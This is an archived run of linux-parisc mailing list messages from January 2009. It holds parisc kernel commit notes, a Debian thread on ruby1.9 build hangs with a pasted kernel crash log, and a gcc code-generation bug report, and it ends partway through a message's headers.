"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> Would you please try this.

It did work too.

  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Mon, 5 Jan 2009 19:19:11 GMT
Lines: 148
Approved: news@gmane.org
Message-ID: <200901051919.n05JJBEQ002191@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1231183176 22503 80.91.229.12 (5 Jan 2009 19:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2009 19:19:36 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 20:20:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJv05-0000eS-Uc
	for glpp-linux-parisc@gmane.org; Mon, 05 Jan 2009 20:20:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754636AbZAETTQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2009 14:19:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754707AbZAETTQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 5 Jan 2009 14:19:16 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:60344 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754291AbZAETTP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2009 14:19:15 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18xjggawPgkneFPWuD/Mc9ECQIBGKyRbbM@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n05JJBKa002193
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 5 Jan 2009 19:19:11 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n05JJBEQ002191
	for linux-parisc@vger.kernel.org; Mon, 5 Jan 2009 19:19:11 GMT
X-Virus-Scanned: ClamAV 0.93.3/8837/Mon Jan  5 16:08:06 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 05 Jan 2009 19:19:13 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1145
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1145>

New commits:
commit ae16489eb1175066c8f3008fc3c0396c525e1906
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sat Jan 3 06:35:40 2009 +0000

    parisc: export length of os_hpmc vector
    
    and use this instead of dealing with exporting start/end and
    toying with function descriptors.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c61c25eb02757ecf697015ef4ae3675c5e114e2e
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sat Dec 20 02:29:06 2008 +0000

    parisc: fix kernel crash (protection id trap) when compiling ruby1.9
    
    On Wed, Dec 17, 2008 at 11:46:05PM +0100, Helge Deller wrote:
    >
    
    Honestly, I can't decide whether to apply this. It really should never
    happen in the kernel, since the kernel can guarantee it won't get the
    access rights failure (highest privilege level, and can set %sr and
    %protid to whatever it wants.)
    
    It really genuinely is a bug that probably should panic the kernel. The
    only precedent I can easily see is x86 fixing up a bad iret with a
    general protection fault, which is more or less analogous to code 27
    here.
    
    On the other hand, taking the exception on a userspace access really
    isn't all that critical, and there's fundamentally little reason for the
    kernel not to SIGSEGV the process, and continue...
    
    Argh.
    
    (btw, I've instrumented my do_sys_poll with a pile of assertions that
     %cr8 << 1 == %sr3 == current->mm.context... let's see if where we're
     getting corrupted is deterministic, though, I would guess that it won't
     be.)
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit aefa8b6bf48fdcc904de4f166e59ab37fb750dec
Author: Julia Lawall <julia@diku.dk>
Date:   Thu Dec 25 19:33:11 2008 +0000

    parisc: Use DEFINE_SPINLOCK
    
    SPIN_LOCK_UNLOCKED is deprecated.  The following makes the change suggested
    in Documentation/spinlocks.txt
    
    The semantic patch that makes this change is as follows:
    (http://www.emn.fr/x-info/coccinelle/)
    
    // <smpl>
    @@
    declarer name DEFINE_SPINLOCK;
    identifier xxx_lock;
    @@
    
    - spinlock_t xxx_lock = SPIN_LOCK_UNLOCKED;
    + DEFINE_SPINLOCK(xxx_lock);
    // </smpl>
    
    Signed-off-by: Julia Lawall <julia@diku.dk>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 7246c31e45021bc68688c4a8fd2bbb70b485d1ef
Author: Helge Deller <deller@gmx.de>
Date:   Thu Dec 25 20:04:00 2008 +0000

    parisc: add uevent helper for parisc bus
    
    parisc: add uevent helper for parisc bus
    
    udev device-driver auto detection was failing to work on the GSC bus, since
    udev didn't knew wich driver to load due to a missing MODALIAS environment
    variable from kernel.
    
    This patch fixes this by adding the MODALIAS environment variable to the
    uevent kernel notifications.
    Since modalias_show() generated the modalias string already, I splitted this
    out and created a new static function make_modalias() which is now used by
    modalias_show() and the new parisc_uevent() function.
    
    Tested on 715/64 and c3000.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 5fbf6635a951a75870be9874580c55da538fb025
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Mon Dec 8 05:15:51 2008 +0000

    parisc: fix ipv6 checksum
    
    ipv6 recently started exhibiting the same symptoms as ipv4 was, add
    a memory clobber around inline checksum assembly that fribbles memory
    to ensure gcc doesn't erroneously cache across it.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 6525ee55bbfd35bf3aff8c59562d6a3d8559a4f0
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Mon Dec 8 09:43:08 2008 +0000

    parisc: quiet palo not-found message from "which"
    
    Reduces moaning when building on a machine without palo installed.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit ef017bebd01c1b4e075d649eee0c8c1c79f9ceb9
Author: Helge Deller <deller@gmx.de>
Date:   Wed Dec 31 03:12:10 2008 +0000

    parisc: Replace NR_CPUS in parisc code
    
    parisc: Replace most arrays sized by NR_CPUS with percpu variables.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 7f2347a44d2d5c8edf04d6950f4fb21ac868d256
Author: Helge Deller <deller@gmx.de>
Date:   Wed Dec 31 03:11:31 2008 +0000

    parisc: trivial fixes
    
    trivial fixes:
    - use KERN_WARNING for printk()
    - use BUG_ON() instead of "if (xx) BUG();"
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
    
    --
    To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
    the body of a message to majordomo@vger.kernel.org
    More majordomo info at  http://vger.kernel.org/majordomo-info.html

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and lenny (ruby1.9 build problems)
Date: Tue, 06 Jan 2009 00:46:34 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <49629BDA.4030904@gmx.de>
References: <20081215084913.766FCD75DF@taggart.lackof.org> <494666FB.9030907@gmx.de> <20081215193025.GP20002@anguilla.noreply.org> <20081215200749.GA30169@colo.lackof.org> <4949787B.9070003@gmx.de> <20081217222540.GB13477@colo.lackof.org> <4950B3AD.1020200@gmx.de> <20081223102356.GF19873@anguilla.noreply.org> <4950C0CA.1040804@gmx.de> <20090105180823.GC877@colo.lackof.org> <20090105190209.GI932@anguilla.noreply.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231199209 13403 80.91.229.12 (5 Jan 2009 23:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2009 23:46:49 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@dannf.org>, Helge Deller <deller@gmx.de>,
	Matt Taggart <taggart@debian.org>,
	Christoph Martin <martin@uni-mainz.de>,
	debian-hppa@lists.debian.org, debian-release@l
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 00:47:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJzAq-0001oB-Hp
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 00:47:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750863AbZAEXqj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2009 18:46:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750846AbZAEXqj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 5 Jan 2009 18:46:39 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58809 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750798AbZAEXqi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2009 18:46:38 -0500
Original-Received: (qmail invoked by alias); 05 Jan 2009 23:46:34 -0000
Original-Received: from mnhm-590e0c65.pool.einsundeins.de (EHLO halden.box) [89.14.12.101]
  by mail.gmx.net (mp040) with SMTP; 06 Jan 2009 00:46:34 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+iDUxxAXGiDZaH5/k1UumkTx5BevMRB1t6pb/8rp
	RDQ5Xg/ilDCs+b
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090105190209.GI932@anguilla.noreply.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1146 gmane.linux.debian.ports.hppa:5592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1146>

CC: linux-paric mailing list

Peter Palfrader wrote:
> On Mon, 05 Jan 2009, dann frazier wrote:
> 
>> On Tue, Dec 23, 2008 at 11:43:22AM +0100, Helge Deller wrote:
>>> Peter Palfrader wrote:
>>>> Helge Deller schrieb am Dienstag, dem 23. Dezember 2008:
>>>>
>>>>> Patch in parisc git tree:
>>>>> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=378fe7c4cc619b561409206605c723c05358edac;hp=6c4dfa8f8bcf032137aacb3640d7dd9d75b2b607
>>>> So just using an SMP kernel should also work?
>>> Probably yes, since some other developers tried initially to reproduce
>>> the problem, but they couldn't (as it seems they were running on newer
>>> SMP machines). But I don't have a SMP server which is why I can't test
>>> myself...
>> Unfortunately, it looks like we're still having problems on the
>> buildds w/ 2.6.26 SMP kernels:
>>   http://buildd.debian.org/build.php?&pkg=ruby1.9&ver=1.9.0.2-9&arch=hppa&file=log
>>
>> The build doesn't take the system down, but does still hang
>> indefinitely while running miniruby - though the hang location varies.
>>
>> I'll prepare a UP kernel for one of the buildds w/ the
>> up-optimization-removal patch just to see if it improves things. I
>> don't see why it would, other than it seemed to solve the problem on
>> my test box when I first tested the patch.

It seemed to fix the problem for me as well.
In principle looking at the logs it looks more like a userspace bugs
due to threading functions.
Anyway, I'll try to reproduce it here as well.
FWIW, I had some additional irq locking code in load_context(), maybe 
this helps...?

> Yeah, penalosa got stuck again today, this was on the console:

Does panalosa has the patched kernel (same one as the one on peri) ?
The protection ID traps shouldn't happen any longer, and from the buildd
logs on peri it does seem like that the ProtID traps don't happen there.

Helge

> ...
> [18255061.952000]                                                               
> [18255240.024000] install (pid 15737): Protection id trap (code 27) at
> 000000004038d203                                                                         
> [18255240.116000] Backtrace:                                                    
> [18255240.148000]                                                               
> [18255258.720000] dpkg-deb (pid 15897): Protection id trap (code 27) at 00000000
> 4035defb                                                                        
> [18255258.812000] Backtrace:                                                    
> [18255258.844000]                                                               
> [18260696.284000] dpkg-deb (pid 13540): Protection id trap (code 27) at 00000000
> 00026f1b                                                                        
> [18260696.376000] Backtrace:                                                    
> [18260696.408000]                                                               
> [18289955.716000] ------------[ cut here ]------------                          
> [18289955.776000] kernel BUG at fs/inode.c:262!        

I think this bug is unrelated to the ruby1.9 issue.
                         
> [18289955.824000]                                                               
> [18289955.848000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                         
> [18289955.908000] PSW: 00001000000001001111111100001111 Tainted: G      D       
> [18289955.988000] r00-03  000000ff0804ff0f 00000000401e7888 00000000401e78a4 00000000a7d1d750                                                                   
> [18289956.084000] r04-07  00000000405c9660 00000000a7d1d750 00000000404a5d40 000000012db86400                                                                   
> [18289956.184000] r08-11  fffffffffffff000 0000000000017800 00000000000dc2f7 000000012f871828                                                                   
> [18289956.284000] r12-15  000000007f9d7000 00000000000e7d58 00000000000081a4 0000000000000001                                                                   
> [18289956.384000] r16-19  00000000000ad800 00000000000ad800 00000000000f4648 0000000040501e4c                                                                   
> [18289956.480000] r20-23  000000000800000f 000000000800000f 000000012e623b40 0000000000000000                                                                   
> [18289956.580000] r24-27  000000012f93a2c8 0000000000000000 00000000a7d1d750 00000000405c9660                                                                   
> [18289956.680000] r28-31  0000000000000002 000000007d800690 000000007d8006c0 00000000002ac810                                                                   
> [18289956.780000] sr00-03  0000000003ab8800 0000000000000000 0000000000000000 0000000003da5800                                                                  
> [18289956.880000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000                                                                  
> [18289956.980000]                                                               
> [18289957.000000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401e78b0 00000000401e78b4                                                               
> [18289957.104000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000f6000006c8
> [18289957.188000]  CPU:        0   CR30: 000000007d800000 CR31: 0000000011111111
> [18289957.272000]  ORIG_R28: 0000000000001000                                   
> [18289957.324000]  IAOQ[0]: clear_inode+0x28/0x178                              
> [18289957.376000]  IAOQ[1]: clear_inode+0x2c/0x178                              
> [18289957.432000]  RP(r2): clear_inode+0x1c/0x178                               
> [18289957.484000] Backtrace:                                                    
> [18289957.516000]  [<00000000002b8844>] ext3_free_inode+0x19c/0x540 [ext3]      
> [18289957.596000]  [<00000000002bd0e0>] ext3_delete_inode+0x138/0x178 [ext3]    
> [18289957.676000]  [<00000000401e7bb8>] generic_delete_inode+0x120/0x1e0        
> [18289957.756000]  [<00000000401e7ca4>] generic_drop_inode+0x2c/0x200           
> [18289957.828000]  [<00000000401e6f50>] iput+0x80/0x90                          
> [18289957.888000]  [<00000000401da980>] do_unlinkat+0x1b0/0x278                 
> [18289957.956000]  [<00000000401daa60>] sys_unlink+0x18/0x28                    
> [18289958.020000]  [<0000000040104ef8>] syscall_exit+0x0/0x14                   
> [18289958.084000]                                                               
> [18289958.108000] Backtrace:                                                    
> [18289958.136000]  [<000000004011b154>] show_stack+0x14/0x20                    
> [18289958.204000]  [<000000004011b178>] dump_stack+0x18/0x28                    
> [18289958.268000]  [<000000004011b90c>] die_if_kernel+0x17c/0x230               
> [18289958.336000]  [<000000004011bc58>] handle_interruption+0x298/0x7f0         
> [18289958.412000]  [<00000000401e78b0>] clear_inode+0x28/0x178                  
> [18289958.480000]  [<00000000002b8844>] ext3_free_inode+0x19c/0x540 [ext3]      
> [18289958.560000]  [<00000000002bd0e0>] ext3_delete_inode+0x138/0x178 [ext3]    
> [18289958.640000]  [<00000000401e7bb8>] generic_delete_inode+0x120/0x1e0        
> [18289958.716000]  [<00000000401e7ca4>] generic_drop_inode+0x2c/0x200           
> [18289958.792000]  [<00000000401e6f50>] iput+0x80/0x90                          
> [18289958.852000]  [<00000000401da980>] do_unlinkat+0x1b0/0x278                 
> [18289958.916000]  [<00000000401daa60>] sys_unlink+0x18/0x28                    
> [18289958.984000]  [<0000000040104ef8>] syscall_exit+0x0/0x14                   
> [18289959.048000]                                                               

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and lenny (ruby1.9 build problems)
Date: Mon, 5 Jan 2009 21:13:28 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <20090106041327.GA22965@colo.lackof.org>
References: <20081215193025.GP20002@anguilla.noreply.org> <20081215200749.GA30169@colo.lackof.org> <4949787B.9070003@gmx.de> <20081217222540.GB13477@colo.lackof.org> <4950B3AD.1020200@gmx.de> <20081223102356.GF19873@anguilla.noreply.org> <4950C0CA.1040804@gmx.de> <20090105180823.GC877@colo.lackof.org> <20090105190209.GI932@anguilla.noreply.org> <49629BDA.4030904@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231215272 19337 80.91.229.12 (6 Jan 2009 04:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 04:14:32 +0000 (UTC)
Cc: Matt Taggart <taggart@debian.org>,
	Christoph Martin <martin@uni-mainz.de>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	team@security.debian.org, debian-admin@lists.debian.org,
	lucas@lucas-nussbaum.net,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 05:15:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LK3Lv-0004SQ-DN
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 05:15:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754432AbZAFEN7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2009 23:13:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754383AbZAFENv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 5 Jan 2009 23:13:51 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:43553 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754162AbZAFENl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2009 23:13:41 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2F1FE3F817C;
	Mon,  5 Jan 2009 21:13:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22995-02; Mon, 5 Jan 2009 21:13:28 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id A46C93F8099; Mon,  5 Jan 2009 21:13:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <49629BDA.4030904@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1147 gmane.linux.debian.ports.hppa:5593 gmane.linux.debian.devel.release:28308
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1147>

On Tue, Jan 06, 2009 at 12:46:34AM +0100, Helge Deller wrote:
> CC: linux-paric mailing list
> 
> Peter Palfrader wrote:
> > On Mon, 05 Jan 2009, dann frazier wrote:
> > 
> >> On Tue, Dec 23, 2008 at 11:43:22AM +0100, Helge Deller wrote:
> >>> Peter Palfrader wrote:
> >>>> Helge Deller schrieb am Dienstag, dem 23. Dezember 2008:
> >>>>
> >>>>> Patch in parisc git tree:
> >>>>> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=378fe7c4cc619b561409206605c723c05358edac;hp=6c4dfa8f8bcf032137aacb3640d7dd9d75b2b607
> >>>> So just using an SMP kernel should also work?
> >>> Probably yes, since some other developers tried initially to reproduce
> >>> the problem, but they couldn't (as it seems they were running on newer
> >>> SMP machines). But I don't have a SMP server which is why I can't test
> >>> myself...
> >> Unfortunately, it looks like we're still having problems on the
> >> buildds w/ 2.6.26 SMP kernels:
> >>   http://buildd.debian.org/build.php?&pkg=ruby1.9&ver=1.9.0.2-9&arch=hppa&file=log
> >>
> >> The build doesn't take the system down, but does still hang
> >> indefinitely while running miniruby - though the hang location varies.
> >>
> >> I'll prepare a UP kernel for one of the buildds w/ the
> >> up-optimization-removal patch just to see if it improves things. I
> >> don't see why it would, other than it seemed to solve the problem on
> >> my test box when I first tested the patch.
> 
> It seemed to fix the problem for me as well.

fyi, I tested w/ a 2.6.26 32-bit UP kernel w/ the
up-optimization-removal patch, and received another hang:
 http://buildd.debian.org/fetch.cgi?pkg=ruby1.9;ver=1.9.0.2-9;arch=hppa;stamp=1231212073

> In principle looking at the logs it looks more like a userspace bugs
> due to threading functions.
> Anyway, I'll try to reproduce it here as well.
> FWIW, I had some additional irq locking code in load_context(), maybe 
> this helps...?

I'd be happy to test it if you can point me to a changeset.

> > Yeah, penalosa got stuck again today, this was on the console:
> 
> Does panalosa has the patched kernel (same one as the one on peri) ?

Both machines were running an unpatched SMP 2.6.26 until I upgraded
penalosa for the test I refer to above. The thinking being that -
though these machines are single CPU - the SMP version should avoid
the UP optimization code.

> The protection ID traps shouldn't happen any longer, and from the buildd
> logs on peri it does seem like that the ProtID traps don't happen there.

There were no protection trap messages in penalosa's dmesg after the
above hang. In fact, it contains nothing other than bootup messages.

> Helge

Thanks for all your help so far - its really appreciated.

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Mon, 5 Jan 2009 23:40:57 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <20090106044058.7E85C4F9D@hiauly1.hia.nrc.ca>
References: <20090105105402.770fab6e@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231216870 22468 80.91.229.12 (6 Jan 2009 04:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 04:41:10 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 05:42:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LK3li-0000h5-D4
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 05:42:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750845AbZAFElA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2009 23:41:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752015AbZAFElA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 5 Jan 2009 23:41:00 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2622 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750845AbZAFEk7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2009 23:40:59 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7E85C4F9D; Mon,  5 Jan 2009 23:40:58 -0500 (EST)
In-Reply-To: <20090105105402.770fab6e@bleh.bxl.tuxicoman.be> from "Guy Martin" at Jan 5, 2009 10:54:02 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1148>

> On Sun, 4 Jan 2009 18:42:02 -0500 (EST)
> "John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:
> 
> > Would you please try this.
> 
> It did work too.

I installed the patch on the gcc trunk (4.4).  However, there are still
issues.  The patch didn't fix the -O0 -fdelayed-branch error.  I have
traced this to a middle-end bug:

http://gcc.gnu.org/bugzilla/show_bug.cgi?id=38740

There's also a nagging issue.  There would appear to be a problem
with the branch distance calculation.  The "be,l" instruction should
not have been used.  A "b,l" is supposed to be ok if the branch
distance is less than 7600000 bytes.  The code in this file is not
that big.  This may be the reason for the apparent regression.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Tue, 6 Jan 2009 01:16:08 -0500
Organization: wh0rd.org
Lines: 49
Approved: news@gmane.org
Message-ID: <200901060116.09772.vapier@gentoo.org>
References: <20090106044058.7E85C4F9D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1694592.DP27eyaurX";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231222582 1375 80.91.229.12 (6 Jan 2009 06:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 06:16:22 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 07:17:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LK5Fq-0001BD-9R
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 07:17:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751311AbZAFGQM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 01:16:12 -0500
